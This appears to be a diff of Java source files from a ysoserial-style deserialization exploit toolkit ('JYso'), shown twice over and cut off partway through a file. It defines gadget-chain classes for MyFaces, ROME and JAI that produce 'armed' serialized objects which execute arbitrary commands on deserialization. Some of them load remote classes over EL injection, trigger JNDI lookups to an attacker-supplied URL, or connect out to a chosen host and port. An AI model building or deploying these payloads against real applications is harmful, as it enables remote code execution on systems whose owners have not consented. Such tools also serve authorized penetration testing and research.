import javax.el.ELContext;
|
||||
import javax.el.ExpressionFactory;
|
||||
import javax.el.ValueExpression;
|
||||
import javax.servlet.ServletResponse;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
||||
|
||||
/**
|
||||
* ValueExpressionImpl.getValue(ELContext)
|
||||
* ValueExpressionMethodExpression.getMethodExpression(ELContext)
|
||||
* ValueExpressionMethodExpression.getMethodExpression()
|
||||
* ValueExpressionMethodExpression.hashCode()
|
||||
* HashMap<K,V>.hash(Object)
|
||||
* HashMap<K,V>.readObject(ObjectInputStream)
|
||||
* <p>
|
||||
* Arguments:
|
||||
* - an EL expression to execute
|
||||
* <p>
|
||||
* Requires:
|
||||
* - MyFaces
|
||||
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
|
||||
public static String[] getDependencies() {
|
||||
if (System.getProperty("el") == null || "apache".equals(System.getProperty("el"))) {
|
||||
return new String[]{
|
||||
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
|
||||
"org.mortbay.jasper:apache-el:8.0.27",
|
||||
"javax.servlet:javax.servlet-api:3.1.0",
|
||||
|
||||
// deps for mocking the FacesContext
|
||||
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
|
||||
};
|
||||
} else if ("juel".equals(System.getProperty("el"))) {
|
||||
return new String[]{
|
||||
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
|
||||
"de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
|
||||
"javax.servlet:javax.servlet-api:3.1.0",
|
||||
|
||||
// deps for mocking the FacesContext
|
||||
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
|
||||
};
|
||||
}
|
||||
|
||||
throw new IllegalArgumentException("Invalid el type " + System.getProperty("el"));
|
||||
}
|
||||
|
||||
public static Object makeExpressionPayload(String expr) throws Exception {
|
||||
FacesContextImpl fc = new FacesContextImpl(null, null, (ServletResponse) null);
|
||||
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
|
||||
Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
|
||||
ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
|
||||
|
||||
ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);
|
||||
ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
|
||||
ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class);
|
||||
ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2);
|
||||
|
||||
return makeMap(e2, e);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
return makeExpressionPayload(command);
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.myfaces.context.servlet.FacesContextImpl;
|
||||
import org.apache.myfaces.context.servlet.FacesContextImplBase;
|
||||
import org.apache.myfaces.el.CompositeELResolver;
|
||||
import org.apache.myfaces.el.unified.FacesELContext;
|
||||
import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;
|
||||
|
||||
import javax.el.ELContext;
|
||||
import javax.el.ExpressionFactory;
|
||||
import javax.el.ValueExpression;
|
||||
import javax.servlet.ServletResponse;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
||||
|
||||
/**
|
||||
* ValueExpressionImpl.getValue(ELContext)
|
||||
* ValueExpressionMethodExpression.getMethodExpression(ELContext)
|
||||
* ValueExpressionMethodExpression.getMethodExpression()
|
||||
* ValueExpressionMethodExpression.hashCode()
|
||||
* HashMap<K,V>.hash(Object)
|
||||
* HashMap<K,V>.readObject(ObjectInputStream)
|
||||
* <p>
|
||||
* Arguments:
|
||||
* - an EL expression to execute
|
||||
* <p>
|
||||
* Requires:
|
||||
* - MyFaces
|
||||
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
|
||||
public static String[] getDependencies() {
|
||||
if (System.getProperty("el") == null || "apache".equals(System.getProperty("el"))) {
|
||||
return new String[]{
|
||||
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
|
||||
"org.mortbay.jasper:apache-el:8.0.27",
|
||||
"javax.servlet:javax.servlet-api:3.1.0",
|
||||
|
||||
// deps for mocking the FacesContext
|
||||
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
|
||||
};
|
||||
} else if ("juel".equals(System.getProperty("el"))) {
|
||||
return new String[]{
|
||||
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
|
||||
"de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
|
||||
"javax.servlet:javax.servlet-api:3.1.0",
|
||||
|
||||
// deps for mocking the FacesContext
|
||||
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
|
||||
};
|
||||
}
|
||||
|
||||
throw new IllegalArgumentException("Invalid el type " + System.getProperty("el"));
|
||||
}
|
||||
|
||||
public static Object makeExpressionPayload(String expr) throws Exception {
|
||||
FacesContextImpl fc = new FacesContextImpl(null, null, (ServletResponse) null);
|
||||
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
|
||||
Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
|
||||
ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
|
||||
|
||||
ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);
|
||||
ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
|
||||
ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class);
|
||||
ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2);
|
||||
|
||||
return makeMap(e2, e);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
return makeExpressionPayload(command);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,29 +1,29 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
int sep = command.lastIndexOf(':');
|
||||
if (sep < 0) {
|
||||
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
|
||||
}
|
||||
|
||||
String url = command.substring(0, sep);
|
||||
String className = command.substring(sep + 1);
|
||||
|
||||
// based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
|
||||
StringBuilder expr = new StringBuilder("${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}");
|
||||
|
||||
// if we add fewer than the actual classloaders we end up with a null entry
|
||||
for (int i = 0; i < 100; i++) {
|
||||
expr.append("${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('").append(url).append("').toURL())}");
|
||||
}
|
||||
expr.append("${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('").append(className).append("').newInstance()}");
|
||||
|
||||
return Myfaces1.makeExpressionPayload(expr.toString());
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
int sep = command.lastIndexOf(':');
|
||||
if (sep < 0) {
|
||||
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
|
||||
}
|
||||
|
||||
String url = command.substring(0, sep);
|
||||
String className = command.substring(sep + 1);
|
||||
|
||||
// based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
|
||||
StringBuilder expr = new StringBuilder("${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}");
|
||||
|
||||
// if we add fewer than the actual classloaders we end up with a null entry
|
||||
for (int i = 0; i < 100; i++) {
|
||||
expr.append("${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('").append(url).append("').toURL())}");
|
||||
}
|
||||
expr.append("${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('").append(className).append("').newInstance()}");
|
||||
|
||||
return Myfaces1.makeExpressionPayload(expr.toString());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,77 +1,77 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.LdapServer;
|
||||
import org.reflections.Reflections;
|
||||
|
||||
import java.lang.reflect.Modifier;
|
||||
import java.util.Random;
|
||||
import java.util.Set;
|
||||
|
||||
import static com.qi4l.JYso.Starter.caseInsensitiveObjectPayloadMap;
|
||||
|
||||
public interface ObjectPayload<T> {
|
||||
|
||||
/*
|
||||
* return armed payload object to be serialized that will execute specified
|
||||
* command on deserialization
|
||||
*/
|
||||
T getObject(String command) throws Exception;
|
||||
|
||||
class Utils {
|
||||
|
||||
// get payload classes by classpath scanning
|
||||
public static Set<Class<? extends ObjectPayload<?>>> getPayloadClasses() {
|
||||
final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
|
||||
@SuppressWarnings("unchecked")
|
||||
final Set<Class<? extends ObjectPayload<?>>> payloadTypes =
|
||||
(Set<Class<? extends ObjectPayload<?>>>) (Set<?>)
|
||||
reflections.getSubTypesOf(ObjectPayload.class);
|
||||
payloadTypes.removeIf(pc -> pc.isInterface() || Modifier.isAbstract(pc.getModifiers()));
|
||||
return payloadTypes;
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public static Class<? extends ObjectPayload<?>> getPayloadClass(final String className) {
|
||||
Class<? extends ObjectPayload<?>> clazz = null;
|
||||
try {
|
||||
clazz = (Class<? extends ObjectPayload<?>>) Class.forName(className);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
if (clazz == null) {
|
||||
try {
|
||||
return (Class<? extends ObjectPayload<Object>>) Class.forName(LdapServer.class.getPackage().getName() + ".gadgets." + className);
|
||||
} catch (NoClassDefFoundError | Exception e) {
|
||||
clazz = caseInsensitiveObjectPayloadMap.get(LdapServer.class.getPackage().getName() + ".gadgets." + className);
|
||||
}
|
||||
}
|
||||
if (clazz != null && !ObjectPayload.class.isAssignableFrom(clazz)) {
|
||||
clazz = null;
|
||||
}
|
||||
return clazz;
|
||||
}
|
||||
|
||||
|
||||
public static void releasePayload(ObjectPayload<?> payload, Object object) throws Exception {
|
||||
if (payload instanceof ReleaseableObjectPayload) {
|
||||
((ReleaseableObjectPayload<?>) payload).release(object);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
//生成随机字符
|
||||
public static String generateRandomString(int length) {
|
||||
String characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
|
||||
StringBuilder sb = new StringBuilder();
|
||||
|
||||
Random random = new Random();
|
||||
for (int i = 0; i < length; i++) {
|
||||
int index = random.nextInt(characters.length());
|
||||
char randomChar = characters.charAt(index);
|
||||
sb.append(randomChar);
|
||||
}
|
||||
|
||||
return sb.toString();
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.LdapServer;
|
||||
import org.reflections.Reflections;
|
||||
|
||||
import java.lang.reflect.Modifier;
|
||||
import java.util.Random;
|
||||
import java.util.Set;
|
||||
|
||||
import static com.qi4l.JYso.Starter.caseInsensitiveObjectPayloadMap;
|
||||
|
||||
public interface ObjectPayload<T> {
|
||||
|
||||
/*
|
||||
* return armed payload object to be serialized that will execute specified
|
||||
* command on deserialization
|
||||
*/
|
||||
T getObject(String command) throws Exception;
|
||||
|
||||
class Utils {
|
||||
|
||||
// get payload classes by classpath scanning
|
||||
public static Set<Class<? extends ObjectPayload<?>>> getPayloadClasses() {
|
||||
final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
|
||||
@SuppressWarnings("unchecked")
|
||||
final Set<Class<? extends ObjectPayload<?>>> payloadTypes =
|
||||
(Set<Class<? extends ObjectPayload<?>>>) (Set<?>)
|
||||
reflections.getSubTypesOf(ObjectPayload.class);
|
||||
payloadTypes.removeIf(pc -> pc.isInterface() || Modifier.isAbstract(pc.getModifiers()));
|
||||
return payloadTypes;
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public static Class<? extends ObjectPayload<?>> getPayloadClass(final String className) {
|
||||
Class<? extends ObjectPayload<?>> clazz = null;
|
||||
try {
|
||||
clazz = (Class<? extends ObjectPayload<?>>) Class.forName(className);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
if (clazz == null) {
|
||||
try {
|
||||
return (Class<? extends ObjectPayload<Object>>) Class.forName(LdapServer.class.getPackage().getName() + ".gadgets." + className);
|
||||
} catch (NoClassDefFoundError | Exception e) {
|
||||
clazz = caseInsensitiveObjectPayloadMap.get(LdapServer.class.getPackage().getName() + ".gadgets." + className);
|
||||
}
|
||||
}
|
||||
if (clazz != null && !ObjectPayload.class.isAssignableFrom(clazz)) {
|
||||
clazz = null;
|
||||
}
|
||||
return clazz;
|
||||
}
|
||||
|
||||
|
||||
public static void releasePayload(ObjectPayload<?> payload, Object object) throws Exception {
|
||||
if (payload instanceof ReleaseableObjectPayload) {
|
||||
((ReleaseableObjectPayload<?>) payload).release(object);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
//生成随机字符
|
||||
public static String generateRandomString(int length) {
|
||||
String characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
|
||||
StringBuilder sb = new StringBuilder();
|
||||
|
||||
Random random = new Random();
|
||||
for (int i = 0; i < length; i++) {
|
||||
int index = random.nextInt(characters.length());
|
||||
char randomChar = characters.charAt(index);
|
||||
sb.append(randomChar);
|
||||
}
|
||||
|
||||
return sb.toString();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,42 +1,42 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.sun.syndication.feed.impl.ObjectBean;
|
||||
|
||||
import javax.xml.transform.Templates;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
||||
|
||||
|
||||
/**
|
||||
* TemplatesImpl.getOutputProperties()
|
||||
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
|
||||
* NativeMethodAccessorImpl.invoke(Object, Object[])
|
||||
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
|
||||
* Method.invoke(Object, Object...)
|
||||
* ToStringBean.toString(String)
|
||||
* ToStringBean.toString()
|
||||
* ObjectBean.toString()
|
||||
* EqualsBean.beanHashCode()
|
||||
* ObjectBean.hashCode()
|
||||
* HashMap<K,V>.hash(Object)
|
||||
* HashMap<K,V>.readObject(ObjectInputStream)
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies("rome:rome:1.0")
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class ROME implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
ObjectBean delegate = new ObjectBean(Templates.class, templates);
|
||||
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
|
||||
return makeMap(root, root);
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.sun.syndication.feed.impl.ObjectBean;
|
||||
|
||||
import javax.xml.transform.Templates;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
||||
|
||||
|
||||
/**
|
||||
* TemplatesImpl.getOutputProperties()
|
||||
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
|
||||
* NativeMethodAccessorImpl.invoke(Object, Object[])
|
||||
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
|
||||
* Method.invoke(Object, Object...)
|
||||
* ToStringBean.toString(String)
|
||||
* ToStringBean.toString()
|
||||
* ObjectBean.toString()
|
||||
* EqualsBean.beanHashCode()
|
||||
* ObjectBean.hashCode()
|
||||
* HashMap<K,V>.hash(Object)
|
||||
* HashMap<K,V>.readObject(ObjectInputStream)
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies("rome:rome:1.0")
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class ROME implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates;
|
||||
templates = Gadgets.createTemplatesImpl(command);
|
||||
ObjectBean delegate = new ObjectBean(Templates.class, templates);
|
||||
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
|
||||
return makeMap(root, root);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,37 +1,37 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.sun.syndication.feed.impl.EqualsBean;
|
||||
|
||||
import javax.xml.transform.Templates;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.createMap;
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
@Dependencies("rome:rome:1.0")
|
||||
public class ROME2 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object o;
|
||||
|
||||
o = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
EqualsBean bean = new EqualsBean(String.class, "");
|
||||
|
||||
Map map1 = createMap("aa", o);
|
||||
map1.put("bB", bean);
|
||||
|
||||
Map map2 = createMap("aa", bean);
|
||||
map2.put("bB", o);
|
||||
|
||||
Reflections.setFieldValue(bean, "_beanClass", Templates.class);
|
||||
Reflections.setFieldValue(bean, "_obj", o);
|
||||
|
||||
return makeMap(map1, map2);
|
||||
}
|
||||
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.sun.syndication.feed.impl.EqualsBean;
|
||||
|
||||
import javax.xml.transform.Templates;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.createMap;
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||
@Dependencies("rome:rome:1.0")
|
||||
public class ROME2 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object o;
|
||||
|
||||
o = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
EqualsBean bean = new EqualsBean(String.class, "");
|
||||
|
||||
Map map1 = createMap("aa", o);
|
||||
map1.put("bB", bean);
|
||||
|
||||
Map map2 = createMap("aa", bean);
|
||||
map2.put("bB", o);
|
||||
|
||||
Reflections.setFieldValue(bean, "_beanClass", Templates.class);
|
||||
Reflections.setFieldValue(bean, "_obj", o);
|
||||
|
||||
return makeMap(map1, map2);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,24 +1,24 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.sun.syndication.feed.impl.ObjectBean;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import javax.xml.transform.Templates;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Authors({"Firebasky"})
|
||||
@Dependencies("rome:rome:1.0")
|
||||
public class ROME3 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
Object o = Gadgets.createTemplatesImpl(command);
|
||||
ObjectBean delegate = new ObjectBean(Templates.class, o);
|
||||
BadAttributeValueExpException b = new BadAttributeValueExpException("");
|
||||
Reflections.setFieldValue(b, "val", delegate);
|
||||
return b;
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.sun.syndication.feed.impl.ObjectBean;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
import javax.xml.transform.Templates;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Authors({"Firebasky"})
|
||||
@Dependencies("rome:rome:1.0")
|
||||
public class ROME3 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
Object o = Gadgets.createTemplatesImpl(command);
|
||||
ObjectBean delegate = new ObjectBean(Templates.class, o);
|
||||
BadAttributeValueExpException b = new BadAttributeValueExpException("");
|
||||
Reflections.setFieldValue(b, "val", delegate);
|
||||
return b;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,37 +1,37 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.rometools.rome.feed.impl.EqualsBean;
|
||||
import com.rometools.rome.feed.impl.ToStringBean;
|
||||
import com.sun.rowset.JdbcRowSetImpl;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
public class ROMEJDBC implements ObjectPayload<Object> {
|
||||
// Assuming JDKUtil class with makeJNDIRowSet method
|
||||
public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception {
|
||||
JdbcRowSetImpl rs = new JdbcRowSetImpl();
|
||||
rs.setDataSourceName(jndiUrl);
|
||||
rs.setMatchColumn("foo");
|
||||
Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
|
||||
return rs;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
// Assuming makeJNDIRowSet is a static method in JDKUtil
|
||||
return makeROMEAllPropertyTrigger(JdbcRowSetImpl.class, makeJNDIRowSet(command));
|
||||
}
|
||||
|
||||
public <T> Object makeROMEAllPropertyTrigger(Class<T> type, T obj) throws Exception {
|
||||
ToStringBean item = new ToStringBean(type, obj);
|
||||
EqualsBean root = new EqualsBean(ToStringBean.class, item);
|
||||
return makeHashCodeTrigger(root);
|
||||
}
|
||||
|
||||
public Object makeHashCodeTrigger(Object o1) throws Exception {
|
||||
return makeMap(o1, o1); // Assuming JDKUtil.makeMap returns a Map or similar object
|
||||
}
|
||||
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.rometools.rome.feed.impl.EqualsBean;
|
||||
import com.rometools.rome.feed.impl.ToStringBean;
|
||||
import com.sun.rowset.JdbcRowSetImpl;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
public class ROMEJDBC implements ObjectPayload<Object> {
|
||||
// Assuming JDKUtil class with makeJNDIRowSet method
|
||||
public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception {
|
||||
JdbcRowSetImpl rs = new JdbcRowSetImpl();
|
||||
rs.setDataSourceName(jndiUrl);
|
||||
rs.setMatchColumn("foo");
|
||||
Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
|
||||
return rs;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
// Assuming makeJNDIRowSet is a static method in JDKUtil
|
||||
return makeROMEAllPropertyTrigger(JdbcRowSetImpl.class, makeJNDIRowSet(command));
|
||||
}
|
||||
|
||||
public <T> Object makeROMEAllPropertyTrigger(Class<T> type, T obj) throws Exception {
|
||||
ToStringBean item = new ToStringBean(type, obj);
|
||||
EqualsBean root = new EqualsBean(ToStringBean.class, item);
|
||||
return makeHashCodeTrigger(root);
|
||||
}
|
||||
|
||||
public Object makeHashCodeTrigger(Object o1) throws Exception {
|
||||
return makeMap(o1, o1); // Assuming JDKUtil.makeMap returns a Map or similar object
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
public interface ReleaseableObjectPayload<T> extends ObjectPayload<T> {
|
||||
|
||||
void release(Object obj) throws Exception;
|
||||
}
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
public interface ReleaseableObjectPayload<T> extends ObjectPayload<T> {
|
||||
|
||||
void release(Object obj) throws Exception;
|
||||
}
|
||||
|
||||
@@ -1,57 +1,57 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
|
||||
import javax.imageio.ImageIO;
|
||||
import javax.media.jai.remote.SerializableRenderedImage;
|
||||
import java.awt.image.BufferedImage;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.net.InetAddress;
|
||||
|
||||
@SuppressWarnings({"unused"})
|
||||
@Dependencies({"javax.media:jai-codec-1.1.3"})
|
||||
public class RenderedImage implements ObjectPayload<Object> {
|
||||
public static byte hexToByte(String inHex) {
|
||||
return (byte) Integer.parseInt(inHex, 16);
|
||||
}
|
||||
|
||||
public static byte[] hexToByteArray(String inHex) {
|
||||
int hexlen = inHex.length();
|
||||
byte[] result;
|
||||
if (hexlen % 2 == 1) {
|
||||
hexlen++;
|
||||
result = new byte[(hexlen / 2)];
|
||||
inHex = "0" + inHex;
|
||||
} else {
|
||||
result = new byte[(hexlen / 2)];
|
||||
}
|
||||
int j = 0;
|
||||
for (int i = 0; i < hexlen; i += 2) {
|
||||
result[j] = hexToByte(inHex.substring(i, i + 2));
|
||||
j++;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
int sep = command.lastIndexOf(':');
|
||||
if (sep < 0) {
|
||||
throw new IllegalArgumentException("Command format is: <host>:<port>");
|
||||
}
|
||||
|
||||
String host = command.substring(0, sep);
|
||||
String port = command.substring(sep + 1);
|
||||
|
||||
String imageHex = "FFD8FFE000104A46494600010100000100010000FFDB0043000503040404030504040405050506070C08070707070F0B0B090C110F1212110F111113161C1713141A1511111821181A1D1D1F1F1F13172224221E241C1E1F1EFFDB0043010505050706070E08080E1E1411141E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1EFFC00011080009000803012200021101031101FFC400160001010100000000000000000000000000000308FFC40021100001030401050000000000000000000003000204010511130712143774B4FFC40014010100000000000000000000000000000001FFC40014110100000000000000000000000000000000FFDA000C03010002110311003F00D0967E448E6E43976297246D894310229231BDD1B6606E18FB8C6BD95675BAA3CE688A772F0E1FD90FD234497FFFD9";
|
||||
BufferedImage picImage = ImageIO.read(new ByteArrayInputStream(hexToByteArray(imageHex)));
|
||||
|
||||
SerializableRenderedImage serializableRenderedImage = new SerializableRenderedImage(picImage, true);
|
||||
Reflections.setFieldValue(serializableRenderedImage, "port", Integer.parseInt(port));
|
||||
